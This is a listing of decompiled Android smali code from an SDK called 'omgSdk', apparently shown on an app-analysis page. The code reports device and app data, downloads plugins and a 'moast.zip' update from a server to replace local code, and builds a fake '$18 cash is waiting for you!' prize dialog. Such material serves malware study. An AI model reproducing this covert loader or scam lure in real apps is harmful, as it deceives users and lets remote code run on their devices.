                              47invoke-virtual {v0}, Lcom/omgSdk/outport/RunChecker;->getCheckData()[Ljava/lang/String;
                              48move-result-object v4
                              49aget-object v1, v4, v6
                              50aget-object v2, v4, v7
                              51aget-object v3, v4, v8
                              52aget-object v4, v4, v9
                              54const-string/jumbo v5, "RunChecker_3"
                              56invoke-virtual/range {v0 .. v5}, Lcom/omgSdk/outport/RunChecker;->sendDataEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                              57goto_4f: return-void
                              58cond_50:
                              59iget-object v1, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              61invoke-static {v1}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              62move-result-object v1
                              64const-string/jumbo v2, "ReportSdk"
                              66const-string/jumbo v3, "false"
                              68invoke-virtual {v1, v2, v3}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              69move-result-object v1
                              71const-string/jumbo v2, "true"
                              73invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              74move-result v1
                              75if-eqz v1, :cond_7b
                              77invoke-virtual {v0}, Lcom/omgSdk/outport/RunChecker;->getCheckData()[Ljava/lang/String;
                              78move-result-object v4
                              79aget-object v1, v4, v6
                              80aget-object v2, v4, v7
                              81aget-object v3, v4, v8
                              82aget-object v4, v4, v9
                              84const-string/jumbo v5, "RunChecker_2"
                              86invoke-virtual/range {v0 .. v5}, Lcom/omgSdk/outport/RunChecker;->sendDataEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                              87cond_7b:
                              88iget-object v0, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              90invoke-static {v0}, Lcom/omgSdk/andoclib/Admob;->access$100(Landroid/content/Context;)V
                              92iget-object v0, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              94const-string/jumbo v1, "lastRequestMiddle"
                              96invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              97move-result-wide v2
                              99invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                              100move-result-object v2
                              102invoke-static {v0, v1, v2}, Lcom/omg/tool/DataStorageStore;->put(Landroid/content/Context;Ljava/lang/String;Ljava/lang/Object;)V
                              103new-instance v0, Lcom/omgSdk/andoclib/f;
                              105iget-object v1, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              107invoke-direct {v0, v1}, Lcom/omgSdk/andoclib/f;-><init>(Landroid/content/Context;)V
                              109invoke-virtual {v0}, Lcom/omgSdk/andoclib/f;->a()Ljava/util/List;
                              110move-result-object v2
                              111if-eqz v2, :cond_a3
                              113invoke-interface {v2}, Ljava/util/List;->isEmpty()Z
                              114move-result v0
                              115if-eqz v0, :cond_cf
                              116cond_a3:
                              117iget-object v0, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              119invoke-static {v0}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              120move-result-object v0
                              122const-string/jumbo v1, "middlePlugin"
                              124invoke-virtual {v0, v7, v1}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              125move-result-object v0
                              127const-string/jumbo v1, "request middlePlugin failed"
                              129invoke-virtual {v0, v8, v1}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              130move-result-object v0
                              132const-string/jumbo v1, "-1"
                              134invoke-virtual {v0, v1}, Lcom/omgSdk/a/b;->b(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              135move-result-object v0
                              137const-string/jumbo v1, "PluginRequestFailed"
                              139invoke-virtual {v0, v1}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              140move-result-object v0
                              142invoke-virtual {v0}, Lcom/omgSdk/a/b;->b()V
                              144const-string/jumbo v0, "\u63d2\u4ef6\u83b7\u53d6\u5931\u8d25"
                              146invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              147goto/16 :goto_4f
                              148cond_cf: move v1, v6
                              149goto_d0:
                              150invoke-interface {v2}, Ljava/util/List;->size()I
                              151move-result v0
                              152if-ge v1, v0, :cond_209
                              154invoke-interface {v2, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              155move-result-object v0
                              156check-cast v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;
                              157new-instance v3, Ljava/lang/StringBuilder;
                              159invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              161const-string/jumbo v4, "plugin = "
                              163invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              164move-result-object v3
                              166iget-object v4, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->b:Ljava/lang/String;
                              168invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              169move-result-object v3
                              171const-string/jumbo v4, ", name = "
                              173invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              174move-result-object v3
                              176iget-object v4, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              178invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              179move-result-object v3
                              181const-string/jumbo v4, ", version = "
                              183invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              184move-result-object v3
                              186invoke-virtual {v0}, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a()I
                              187move-result v4
                              189invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              190move-result-object v3
                              192invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              193move-result-object v3
                              195invoke-static {v3}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              197const-string/jumbo v3, "appleid"
                              199iget-object v4, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              201invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              202move-result v3
                              203if-eqz v3, :cond_204
                              205iget-object v3, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              207const-string/jumbo v4, "appleid"
                              208iget-boolean v5, p0, Lcom/omgSdk/andoclib/Admob$2;->b:Z
                              210invoke-static {v3, v4, v5}, Lcom/omgSdk/andoclib/Admob;->loadMiddlePlugin(Landroid/content/Context;Ljava/lang/String;Z)V
                              211new-instance v3, Ljava/lang/StringBuilder;
                              213invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              215const-string/jumbo v4, "middleVersionCode = "
                              217invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              218move-result-object v3
                              220invoke-static {}, Lcom/omgSdk/andoclib/Admob;->access$200()I
                              221move-result v4
                              223invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              224move-result-object v3
                              226invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              227move-result-object v3
                              229invoke-static {v3}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              230new-instance v3, Lcom/omgSdk/a/e;
                              232iget-object v4, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              234iget-object v5, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->b:Ljava/lang/String;
                              236invoke-virtual {v0}, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a()I
                              237move-result v6
                              239invoke-direct {v3, v4, v5, v6}, Lcom/omgSdk/a/e;-><init>(Ljava/lang/String;Ljava/lang/String;I)V
                              241invoke-static {}, Lcom/omgSdk/andoclib/Admob;->access$200()I
                              242move-result v4
                              244invoke-virtual {v0}, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a()I
                              245move-result v5
                              246if-ge v4, v5, :cond_203
                              248iget-object v4, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              250invoke-static {v4}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              251move-result-object v4
                              253invoke-virtual {v4, v3}, Lcom/omgSdk/a/d;->a(Lcom/omgSdk/a/e;)Z
                              254move-result v3
                              255if-eqz v3, :cond_203
                              256new-instance v3, Ljava/lang/StringBuilder;
                              258invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              260const-string/jumbo v4, "\u5f00\u59cb\u4e0b\u8f7d "
                              262invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              263move-result-object v3
                              265iget-object v4, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              267invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              268move-result-object v3
                              270const-string/jumbo v4, ", connectChanged = "
                              272invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              273move-result-object v3
                              274iget-boolean v4, p0, Lcom/omgSdk/andoclib/Admob$2;->b:Z
                              276invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              277move-result-object v3
                              279invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              280move-result-object v3
                              282invoke-static {v3}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              284iget-object v3, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              286invoke-static {v3}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              287move-result-object v3
                              288new-instance v4, Ljava/lang/StringBuilder;
                              290invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              292const-string/jumbo v5, "connectChanged is "
                              294invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              295move-result-object v4
                              296iget-boolean v5, p0, Lcom/omgSdk/andoclib/Admob$2;->b:Z
                              298invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              299move-result-object v4
                              301invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              302move-result-object v4
                              304invoke-virtual {v3, v7, v4}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              305move-result-object v3
                              307const-string/jumbo v4, "Middle"
                              309invoke-virtual {v3, v8, v4}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              310move-result-object v3
                              312const-string/jumbo v4, "middlePlugin"
                              314invoke-virtual {v3, v9, v4}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              315move-result-object v3
                              316const/4 v4, 0x4
                              317new-instance v5, Ljava/lang/StringBuilder;
                              319invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              321const-string/jumbo v6, "middlePlugin start download; name = "
                              323invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              324move-result-object v5
                              326iget-object v6, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              328invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              329move-result-object v5
                              331const-string/jumbo v6, " version = "
                              333invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              334move-result-object v5
                              336invoke-virtual {v0}, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a()I
                              337move-result v6
                              339invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              340move-result-object v5
                              342invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              343move-result-object v5
                              345invoke-virtual {v3, v4, v5}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              346move-result-object v3
                              348iget-object v4, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->c:Ljava/lang/String;
                              350invoke-virtual {v3, v4}, Lcom/omgSdk/a/b;->b(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              351move-result-object v3
                              353const-string/jumbo v4, "PluginDownloadBegin"
                              355invoke-virtual {v3, v4}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              356move-result-object v3
                              358invoke-virtual {v3}, Lcom/omgSdk/a/b;->b()V
                              360iget-object v3, p0, Lcom/omgSdk/andoclib/Admob$2;->a:Landroid/content/Context;
                              362invoke-static {v3}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              363move-result-object v3
                              365iget-object v4, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              367iget-object v5, v0, Lsdk/nicro/lu/ps/PluginServer$Plugin;->b:Ljava/lang/String;
                              369invoke-virtual {v0}, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a()I
                              370move-result v0
                              372invoke-virtual {v3, v4, v5, v0}, Lcom/omgSdk/a/d;->a(Ljava/lang/String;Ljava/lang/String;I)V
                              373cond_203: move v6, v7
                              374cond_204: add-int/lit8 v0, v1, 0x1
                              375move v1, v0
                              376goto/16 :goto_d0
                              377cond_209: if-nez v6, :cond_4f
                              378goto/16 :goto_4f
                              Cross References
                              APIs
                              • android.content.Context.getDir
                              • java.io.File.<init>
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • java.lang.StringBuilder.<init>
                              • org.json.JSONObject.get
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • org.json.JSONObject.get
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • org.json.JSONObject.get
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • org.json.JSONObject.get
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • java.lang.String.<init>
                              • java.lang.String.compareToIgnoreCase
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.exists
                              • java.lang.String.compareToIgnoreCase
                              • java.io.FileInputStream.<init>
                              • java.io.FileOutputStream.<init>
                              • java.io.FileInputStream.close
                              • java.io.FileOutputStream.close
                              Strings
                              • tmpmof
                              • moast.zip
                              • app
                              • app_v
                              • key
                              • ch
                              • secret
                              • @
                              • /
                              • #
                              • md5
                              • tz
                              • ua
                              • url
                              • v
                              • b
                              • remote version :
                              • remote build :
                              • remote verify :
                              • local verify :
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v2, Ljava/io/File;
                              3iget-object v0, p0, La/a/b/b;->a:Landroid/content/Context;
                              5const-string v1, "tmpmof"
                              6const/4 v3, 0x0
                              8invoke-virtual {v0, v1, v3}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              9move-result-object v0
                              11const-string v1, "moast.zip"
                              13invoke-direct {v2, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              15iget-object v0, p0, La/a/b/b;->b:Ljava/io/File;
                              17invoke-static {v0}, La/a/b/b;->b(Ljava/io/File;)Ljava/lang/String;
                              18move-result-object v1
                              19new-instance v3, Lorg/json/JSONObject;
                              21invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                              23const-string v0, "app"
                              25iget-object v4, p1, La/a/b/a;->a:Ljava/lang/String;
                              27invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              29const-string v0, "app_v"
                              31iget-object v4, p0, La/a/b/b;->a:Landroid/content/Context;
                              33invoke-static {v4}, La/a/a/c;->a(Landroid/content/Context;)Ljava/lang/String;
                              34move-result-object v4
                              36invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              38const-string v0, "key"
                              40iget-object v4, p1, La/a/b/a;->b:Ljava/lang/String;
                              42invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              44const-string v0, "ch"
                              46iget-object v4, p1, La/a/b/a;->c:Ljava/lang/String;
                              48invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              50const-string v0, "secret"
                              51new-instance v4, Ljava/lang/StringBuilder;
                              53invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              55const-string v5, "key"
                              57invoke-virtual {v3, v5}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
                              58move-result-object v5
                              60invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              61move-result-object v4
                              63const-string v5, "@"
                              65invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              66move-result-object v4
                              68const-string v5, "app"
                              70invoke-virtual {v3, v5}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
                              71move-result-object v5
                              73invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              74move-result-object v4
                              76const-string v5, "/"
                              78invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              79move-result-object v4
                              81const-string v5, "ch"
                              83invoke-virtual {v3, v5}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
                              84move-result-object v5
                              86invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              87move-result-object v4
                              89const-string v5, "#"
                              91invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              92move-result-object v4
                              94const-string v5, "app_v"
                              96invoke-virtual {v3, v5}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
                              97move-result-object v5
                              99invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              100move-result-object v4
                              102invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              103move-result-object v4
                              105invoke-static {v4}, La/a/a/c;->a(Ljava/lang/String;)Ljava/lang/String;
                              106move-result-object v4
                              108invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              110const-string v4, "md5"
                              111if-nez v1, :cond_143
                              113const-string v0, ""
                              114goto_8d:
                              115invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              117const-string v0, "tz"
                              119invoke-static {}, La/a/a/c;->b()Ljava/lang/String;
                              120move-result-object v4
                              122invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              124const-string v0, "ua"
                              126invoke-static {}, La/a/a/c;->a()Ljava/lang/String;
                              127move-result-object v4
                              129invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              130new-instance v0, Ljava/lang/String;
                              132iget-object v4, p0, La/a/b/b;->c:[B
                              134invoke-direct {v0, v4}, Ljava/lang/String;-><init>([B)V
                              135if-nez v0, :cond_ac
                              136const/4 v0, 0x0
                              137cond_ac:
                              138invoke-static {v0, v3}, La/a/b/b;->a(Ljava/lang/String;Ljava/lang/Object;)La/a/a/a;
                              139move-result-object v0
                              140if-eqz v0, :cond_142
                              142invoke-virtual {v0}, La/a/a/a;->a()I
                              143move-result v3
                              144const/16 v4, 0xc8
                              145if-ne v3, v4, :cond_142
                              147invoke-virtual {v0}, La/a/a/a;->b()Ljava/lang/String;
                              148move-result-object v0
                              150invoke-static {v0}, La/a/b/b;->a(Ljava/lang/String;)Lorg/json/JSONObject;
                              151move-result-object v0
                              152if-eqz v0, :cond_142
                              154const-string v3, "url"
                              156invoke-static {v0, v3}, La/a/b/b;->a(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                              157move-result-object v3
                              159const-string v4, "md5"
                              161invoke-static {v0, v4}, La/a/b/b;->a(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                              162move-result-object v4
                              164const-string v5, "v"
                              166invoke-static {v0, v5}, La/a/b/b;->a(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                              167move-result-object v5
                              169const-string v6, "b"
                              171invoke-static {v0, v6}, La/a/b/b;->a(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                              172move-result-object v0
                              173if-eqz v4, :cond_142
                              174if-eqz v3, :cond_142
                              175if-eqz v1, :cond_ea
                              176if-eqz v1, :cond_142
                              178invoke-virtual {v1, v4}, Ljava/lang/String;->compareToIgnoreCase(Ljava/lang/String;)I
                              179move-result v6
                              180if-eqz v6, :cond_142
                              181cond_ea: new-instance v6, Ljava/lang/StringBuilder;
                              183const-string v7, "remote version : "
                              185invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              187invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              188new-instance v5, Ljava/lang/StringBuilder;
                              190const-string v6, "remote build : "
                              192invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              194invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              195new-instance v0, Ljava/lang/StringBuilder;
                              197const-string v5, "remote verify : "
                              199invoke-direct {v0, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              201invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              202new-instance v0, Ljava/lang/StringBuilder;
                              204const-string v5, "local verify : "
                              206invoke-direct {v0, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              208invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              210invoke-static {v3, v2}, La/a/b/b;->a(Ljava/lang/String;Ljava/io/File;)I
                              212invoke-static {v2}, La/a/b/b;->b(Ljava/io/File;)Ljava/lang/String;
                              213move-result-object v0
                              215invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              216move-result v1
                              217if-eqz v1, :cond_142
                              219invoke-virtual {v4, v0}, Ljava/lang/String;->compareToIgnoreCase(Ljava/lang/String;)I
                              220move-result v0
                              221if-nez v0, :cond_142
                              223iget-object v0, p0, La/a/b/b;->b:Ljava/io/File;
                              225invoke-static {v0}, La/a/b/b;->a(Ljava/io/File;)V
                              226try_start_12a:
                              227iget-object v0, p0, La/a/b/b;->b:Ljava/io/File;
                              228new-instance v1, Ljava/io/FileInputStream;
                              230invoke-direct {v1, v2}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
                              231new-instance v3, Ljava/io/FileOutputStream;
                              233invoke-direct {v3, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              235invoke-static {v1, v3}, La/a/b/b;->a(Ljava/io/InputStream;Ljava/io/OutputStream;)V
                              237invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
                              239invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V
                              240goto_13f:
                              241invoke-static {v2}, La/a/b/b;->a(Ljava/io/File;)V
                              242cond_142: return-void
                              243cond_143: move-object v0, v1
                              244goto/16 :goto_8d
                              245catch_146: move-exception v0
                              246goto/16 :goto_13f
                              Cross References
                              APIs
                              • com.omgSdk.andoclib.b$a.<init>
                              • android.widget.LinearLayout$LayoutParams.<init>
                              • com.omgSdk.andoclib.b$a.setLayoutParams
                              • com.omgSdk.andoclib.b$a.setGravity
                              • com.omgSdk.andoclib.b$a.setBackgroundDrawable
                              • android.widget.RelativeLayout.<init>
                              • android.widget.LinearLayout$LayoutParams.<init>
                              • android.widget.RelativeLayout.setLayoutParams
                              • android.widget.RelativeLayout.setBackgroundDrawable
                              • android.widget.TextView.<init>
                              • android.view.View.<init>
                              • android.widget.TextView.<init>
                              • com.omgSdk.andoclib.b$b.<init>
                              • android.widget.RelativeLayout$LayoutParams.<init>
                              • android.widget.RelativeLayout$LayoutParams.setMargins
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.widget.TextView.setText
                              • android.widget.TextView.setId
                              • android.widget.TextView.setTextColor
                              • android.widget.TextView.setTextSize
                              • android.widget.TextView.getPaint
                              • android.text.TextPaint.setFakeBoldText
                              • android.widget.TextView.setPadding
                              • android.widget.TextView.setGravity
                              • android.widget.RelativeLayout.addView
                              • android.view.View.setBackgroundColor
                              • android.widget.RelativeLayout$LayoutParams.<init>
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.view.View.setId
                              • android.widget.RelativeLayout.addView
                              • android.widget.TextView.setText
                              • android.widget.TextView.setTextSize
                              • android.widget.TextView.setTextColor
                              • android.widget.TextView.setPadding
                              • android.widget.TextView.setGravity
                              • android.text.TextUtils$TruncateAt.END:Landroid/text/TextUtils$TruncateAt
                              • android.widget.TextView.setEllipsize
                              • android.widget.TextView.setMaxLines
                              • android.widget.RelativeLayout$LayoutParams.<init>
                              • android.widget.RelativeLayout$LayoutParams.setMargins
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.widget.RelativeLayout.addView
                              • com.omgSdk.andoclib.b$b.setOnClickListener
                              • android.widget.RelativeLayout$LayoutParams.<init>
                              • android.widget.RelativeLayout$LayoutParams.setMargins
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.widget.RelativeLayout$LayoutParams.addRule
                              • android.widget.RelativeLayout.addView
                              • com.omgSdk.andoclib.b$a.addView
                              • com.omgSdk.andoclib.b$a.setBackground
                              • android.widget.RelativeLayout.setBackground
                              Strings
                              • guideTitle
                              • Congratulations!
                              • guideContent
                              • Please click continue, $18 cash is waiting for you!
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v13, -0x2
                              2const v5, -0x777778
                              3const/4 v12, 0x1
                              4const/high16 v11, 0x41200000 # 10.0f
                              5const/4 v10, -0x1
                              6new-instance v0, Lcom/omgSdk/andoclib/b$a;
                              8invoke-direct {v0, p0}, Lcom/omgSdk/andoclib/b$a;-><init>(Landroid/content/Context;)V
                              9new-instance v1, Landroid/widget/LinearLayout$LayoutParams;
                              11invoke-direct {v1, v10, v10}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                              13invoke-virtual {v0, v1}, Lcom/omgSdk/andoclib/b$a;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
                              14const/16 v1, 0x11
                              16invoke-virtual {v0, v1}, Lcom/omgSdk/andoclib/b$a;->setGravity(I)V
                              17sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              18const/16 v2, 0x10
                              19if-ge v1, v2, :cond_178
                              21invoke-static {p0, v11}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              22move-result v1
                              23int-to-float v1, v1
                              25invoke-static {v1, v12, v5, v10}, Lcom/omgSdk/andoclib/b;->b(FIII)Landroid/graphics/drawable/GradientDrawable;
                              26move-result-object v1
                              28invoke-virtual {v0, v1}, Lcom/omgSdk/andoclib/b$a;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                              29goto_2c: new-instance v1, Landroid/widget/RelativeLayout;
                              31invoke-direct {v1, p0}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V
                              32new-instance v2, Landroid/widget/LinearLayout$LayoutParams;
                              33const/high16 v3, 0x43960000 # 300.0f
                              35invoke-static {p0, v3}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              36move-result v3
                              37const/high16 v4, 0x43480000 # 200.0f
                              39invoke-static {p0, v4}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              40move-result v4
